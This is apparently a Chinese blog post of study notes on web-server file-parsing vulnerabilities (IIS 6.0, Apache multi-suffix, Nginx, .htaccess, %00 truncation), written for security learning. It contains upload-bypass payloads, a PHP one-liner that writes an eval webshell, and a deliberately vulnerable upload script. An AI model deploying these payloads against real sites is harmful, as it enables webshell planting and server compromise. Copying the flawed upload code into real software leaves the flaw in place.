一.概念

文件解析漏洞主要由于网站管理员操作不当或者web服务器自身的漏洞,导致一些特殊文件被IIS、apache、nginx或其他web服务器在某种情况下解释成脚本文件执行
比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些情况下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。
但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了。

1. IIS 6.0解析利用

目录解析
/xx.asp/xx.jpg
在网站下建立文件夹名字为.asp,.asa的文件夹, 其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行
例如 :
创建目录xxx.asp,那么
xxx.asp/1.jpg
将被当作asp文件来执行.假设黑客可以控制上传文件夹的路径,就可以不管你上传后你的图片改不改名都能拿到shell了
文件解析
xxx.asp;.jpg
在IIS6.0下,分号后面的不被解析,也就是说xxx.asp;.jpg会被服务器看成xxx.asp
特殊文件名
IIS6.0默认的可执行文件除了asp还包含其他三种
ujiuye.asa
ujiuye.cer
ujiuye.cdx
在表单中使用onsumbit=check()调用js函数来检查上传文件的扩展名。这种限制实际上没有任何用处,任何攻击者都可以轻而易举的破解。只能用于对于用户完全信任的情况下,很难称之为一种安全措施只能称之是一种防止用户误操作上传的措施, 当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。
Apache文件解析漏洞
原理
Apache认为,一个文件可以有多个后缀,如:werner.txt.png.mp3。这一文件,放在Windows里,毫无疑问,就是个mp3文件,Windows只认最后一个“.”及其后面的字符“mp3”,觉得该文件后缀为“.mp3”,这也是大多数操作系统、应用软件的处理方式、是正常人习惯。
而在Apache中,则可能有所不同,如果有必要,Apache会从后(右)往前(左),一一辨别后缀。当Apache不认识某个后缀时,如某文件名为:werner.mp3.html.qwe.arex,Apache在处理时,先读取最后一个后缀,为“.arex”,一看,这啥玩意啊,不认识,继续读取下一个后缀“.qwe”,一看,呀,这又是啥,还是不认识,继续读下一个后缀“.html”,一看,哦,这是个超文本标记语言文件,俗称网页文件,这回认识了,也就不继续读下一个后缀了。
若是所有后缀都看完了没有一个认识怎么办?此时就会把该文件当做默认类型进行处理了,一般来说,默认类型是text/plain。

# httpd.conf --> go line 355
#
# DefaultType: the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value.  If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.

DefaultType text/plain
哪些后缀Apache认识,哪些不认识?在apache/conf中存在一个名为mime.types的文件,其中记录着Apache能够识别的后缀。
在Ubuntu下,该文件位于/etc/mime.types.
在Windows下,该文件位于C:/apache/conf/mime.types(类似这样的,注意Apache的安装路径)。
该文件是一个一对多的映射表,定义了某一种文件类型,对应的几种后缀。
除了该文件,在Apache的配置文件中,还可以用AddType语句添加映射,如:
这一特性会带来什么问题呢?网站往往有上传文件的功能,但一定不想让用户上传程序,因为这很可能会危害网站安全,故而会检查上传文件的后缀名,若是.php,则拒绝上传(假设这是个php站)。此时用户只需上传文件evildoer.php.qwe,若是程序员不了解Apache的这一特性,编写的程序检查后缀时只看“.qwe”,而认为这不是程序文件,允许上传,则用户成功地绕过了上传时的安全检查,上传了php程序文件。该文件的最后一个后缀“.qwe”是Apache不认识的,故而Apache会以倒数第二个后缀“.php”为准,把该文件当做是php文件,解析执行。
由于这是特性而不是漏洞,所以适用于所有版本的Apache。
Apache是从右到左开始判断解析,如果为不可识别解析,就在往左判断。
比如 :
xxx.php.owf.rar
.owf.rar这两种后缀是apache不可识别解析的,apache就会把xxx.php.owf.rar解析成`xxx.php
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xxx.php.owf.rar…(把你知道的常见后缀都写上)去测试是否是合法后缀
任意不识别的后缀,逐级向上识别
Php/asp/aspx/asa
X.php.zzz
X.php._
X.php.

*畸形解析漏洞

利用条件:IIS 7.0 / IIS 7.5 / Nginx < 8.03
Nginx解析漏洞这个伟大的漏洞是我国安全组织80Sec发现的
1. 原理
在默认Fast-CGI开启情况下, 黑客上传一个名字为xxxx.jpg的文件
内容如下

<?php fputs(fopen('shell','w'),'<?php eval($_POST([cmd]))?>') ?>

然后访问xxxx.jpg/.php,在这个目录下就会生成一句话木马shell.php
www.xxx.com/logo.gif/*.php (有漏洞会把前面文件当做php执行)
X.asp00jieduan%jpg
a.asp.a;.a.aspx.jpg…jpg (第二种解析漏洞)
Nginx空字节代码执行漏洞
影响版本 : 0.5, 0.6, 0.7 <=0.7.65, 0.8 <= 0.837
Nginx在图片中嵌入PHP代码然后通过如下方式访问来执行其中代码
xxx.jpg%00.php
.htaccess文件解析
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入如下代码

<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>

然后在上传shell.jpg的木马,这样shell.jpg就可解析为php文件
文件解析防御方式
apache文件解析防御方式
运维人员正确配置文件,不要偷懒乱配置,要注意权限和范围的问题。这里就是不要使用AddHandler,改用SetHandler,写好正则,就不会有问题。

这样写存在问题

<FileMatch ".+\.php$">
SetHandler application/x-httpd-php
</FileMatch>

修改为

<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">Order Deny,AllowDeny from all
</FilesMatch>

截断突破上传限制
%00 截断
原理
www.xxx.com/qq.jpg
www.xxx.com/qq.php%00.jpg => www.xxx.com/qq.php

<html>
<head><meta charset='utf-8' /><title>文件解析</title>
</head>
<body><h2>00截断漏洞</h2><form action="" method="post" enctype="multipart/form-data"><label>文件:</label><input type="file" name = "file" ><input type="submit" value="submit" name = "upload"></form>
</body>
</html>
<?phperror_reporting(0);if(isset($_POST['upload'])){$ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$tempFile = $_FILES['file']['tmp_name'];// 这句话的$_REQUEST['jieduan']造成可以利用截断上传$targetPath = $_SERVER['DOCUMENT_ROOT'].'/'.$_REQUEST['jieduan'].'/upload/'.rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($tempFile,$targetPath)){echo '上传成功'.'<br>';echo '路径:'.$targetPath;}else{echo("上传失败");}}else{echo("上传失败");}}
?>

访问:
https://127.0.0.1:8080/upload.php?jieduan=test.php%00
先将jieduan这个变量进行赋值
上传shell.jpg文件(也就是伪装的shell文件)
文件上传成功,但是不在是名字为shell.jpg的文件了,而是变为了test.php
示例:
看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过。这次要改两个地方才能绕过,
00截断
00截断原理

0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
00截断的限制条件
PHP<5.3.29,且GPC关闭
Pass-12:00截断 POST
本pass上传路径可控!
这题跟上一题代码唯一的不同就是save_path 从 GET 变成了 POST,此时不能再直接使用 %00 截断,原因是 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 进行截断,也就是在post情况下,需要先对%00进行一个url编码。
实验参考
.htaccess s实验步骤
.htaccess是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)。
一. 环境设置
要想使.htaccess文件生效,需要两个条件.
一是在Apache的配置文件中写上:
AllowOverride All
二是Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
配置完后需要重启Apache。
需要注意Apache可能有多个配置文件,后加载的配置文件会覆盖先加载的配置文件中的配置。所以在某个配置文件中将AllowOverride设置成All,若是其后加载的某个配置文件中AllowOverride的设置是None,则也是没有用的。一般来说,先加载httpd.conf,再加载conf.d/中的配置文件,最后加载sites-enabled/中的配置文件。这意味着,.htaccess并不总是有效的。
.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。但我们这里只关心.htaccess文件的一个作用——MIME类型修改。
二. 实验步骤
在本地写好一个.htaccess,内容如下

<FilesMatch "test.aaa">SetHandler application/x-httpd-php
</FilesMatch>

然后利用上传漏洞上传.htaccess文件,只要是上传的是test.aaa文件,都会安装php的方式进行解析
注意 :
若要无法创建.htaccess(windows下),进行如下操作
方式一 :
copy htaccess.txt .htaccess
实际就是将htaccess.txt文件修改为.htaccess
​方式二 :
用winrar的文件管理器,先新建一文本文档,然后打开winrar主界面,定位到该文件,可以直接重命名,这是我在解压一国外开源项目时,其自带的.htaccess居然能正确解压出来时,所得到的启发,当然你使用7zip之类的管理器也是可以的

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

学习笔记文件解析漏洞相关推荐

  1. GB28181学习笔记6 解析invite命令

    GB28181学习笔记6 解析invite命令 一.信令流程 1. 实时信令流程 点播流程: 上级平台向下级发送INVITE请求,请求实时视频 下级平台回复200OK 上级平台回复ACK确认 关闭视频 ...

  2. 文件解析漏洞总结-Nginx

    Nginx解析漏洞 原理:在任意文件名后面添加如/*.php,nginx都会将该文件当做php文件类型,交给php去解析执行 例:xx.jpg,其中源码为<?php phpinfo();?> ...

  3. 文件解析漏洞总结-Apache

    Apache解析漏洞 多后缀名解析:xx.php.xxoo Apache认为一个文件可以有多个后缀名,例如:peak.txt.jpg.xx Apache的解析规则是从后(右)往前(左)依次判断后缀名, ...

  4. Linux学习笔记-文件权限与路径

    Linux学习笔记-文件与目录 目前从电子信息科学与技术转到了计算机专业,因此想趁着大四比较闲的时候补一些计算机的知识.我想说:你好,生活[斜眼笑]!愿生活温柔以待!哈哈,这是我写的第一篇博客,谨以此 ...

  5. Linux学习笔记 文件服务Vsftp详细介绍

    Linux学习笔记 文件服务Vsftp详细介绍 知识点: 1.FTP使用TCP连接和TCP端口 2.在进行通信时,FTP需要建立两个TCP连接: 一个用于控制信息,TCP端口号缺省为21 一个用于数据 ...

  6. IIS6.0文件解析漏洞原理/复现

    IIS文件解析漏洞原理 IIS6.0存在文件解析漏洞 , 文件名中分号( ; )后面的内容不会被解析 比如 a.asp;jpg 文件 会被IIS解析成 a.asp 这个漏洞是逻辑上的问题,IIS6.0 ...

  7. 【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx

    目录 1 Apache解析漏洞 1.1 概述 1.2 Apache解析漏洞实例 1.2.1 实验目的 1.2.2 实验环境 1.2.3 实验一:验证解析顺序漏洞 1.3 总结 2 IIS 解析漏洞 2 ...

  8. 【文件上传漏洞11】中间件文件解析漏洞基础知识及实验——Nginx

    目录 1 文件解析漏洞概述 1.1 概述 1.2 Nginx 解析漏洞 1.2.1 空字节解析漏洞 1.2.2 文件名逻辑漏洞 CVE-2013-4547 1.2.3 CGI-PHP 解析漏洞 2 实 ...

  9. XML - XML学习/XML文件解析器(C++)实现

    XML - XML学习/XML文件解析器(C++)实现 XML概述 ​ XML是一套定义语义标记的规则,这些标记将文档分成许多部件并对这些部件加以标识.它也是元标记语言,用于定义其他与特定领域有关的, ...

最新文章

  1. 没有数据也能翻译?一文读懂「无监督」机器翻译
  2. AdminStudio功能模块与版本信息总结
  3. tmux不自动加载配置文件.tmux.conf
  4. Android-gradle插件调试
  5. Index of Java
  6. SAP Spartacus scss 变量--cx-spatial-base赋值的地方
  7. 支持.NET的分布式缓存系统memcached
  8. 第七章 假设检验(3)
  9. 【转】JMeter学习(十七)JMeter测试Java
  10. 更换jdk版本_滴滴夜莺发布 v3 版本,从运维监控演化成了运维平台
  11. HDU 1084:What Is Your Grade?
  12. 你整明白了吗?Linux Shell 中各种括号的作用 ()、(())、[]、[[]]、{}
  13. fir低通滤波器c语言,大神教你:FIR与IIR低通滤波器的最简最快实现
  14. Google Analytics SEO 实时 网站 访问量 统计
  15. 故事:两只老虎的悲惨结局
  16. Numpy提取多维数组的某行/列
  17. 太阳能充电器带数显功能有什么用处?
  18. 柳岩变复古画报女郎 红唇魅惑爆乳秀美腿
  19. 微信小程序开发者工具-使用技巧(更新中~)
  20. 关于功能安全的若干“误解

热门文章

  1. php中如何获取请求头header
  2. 室内设计属计算机专业吗,室内设计技术专业
  3. Excel制作表格的小技巧
  4. 主要几款跑步APP对比
  5. Activiti工作流学习篇(一)
  6. TopoGun 3基础:重出江湖并一招封神的新功能 Patch!!!
  7. 视频智能生产及内容分析应用工具开源了!​
  8. 在服务器上搭建 Chevereto 图床
  9. Unity3D 粒子系统实现一个简单的爆炸效果
  10. 最新《Android车载系统应用开发指南 》,Android工程师的新赛道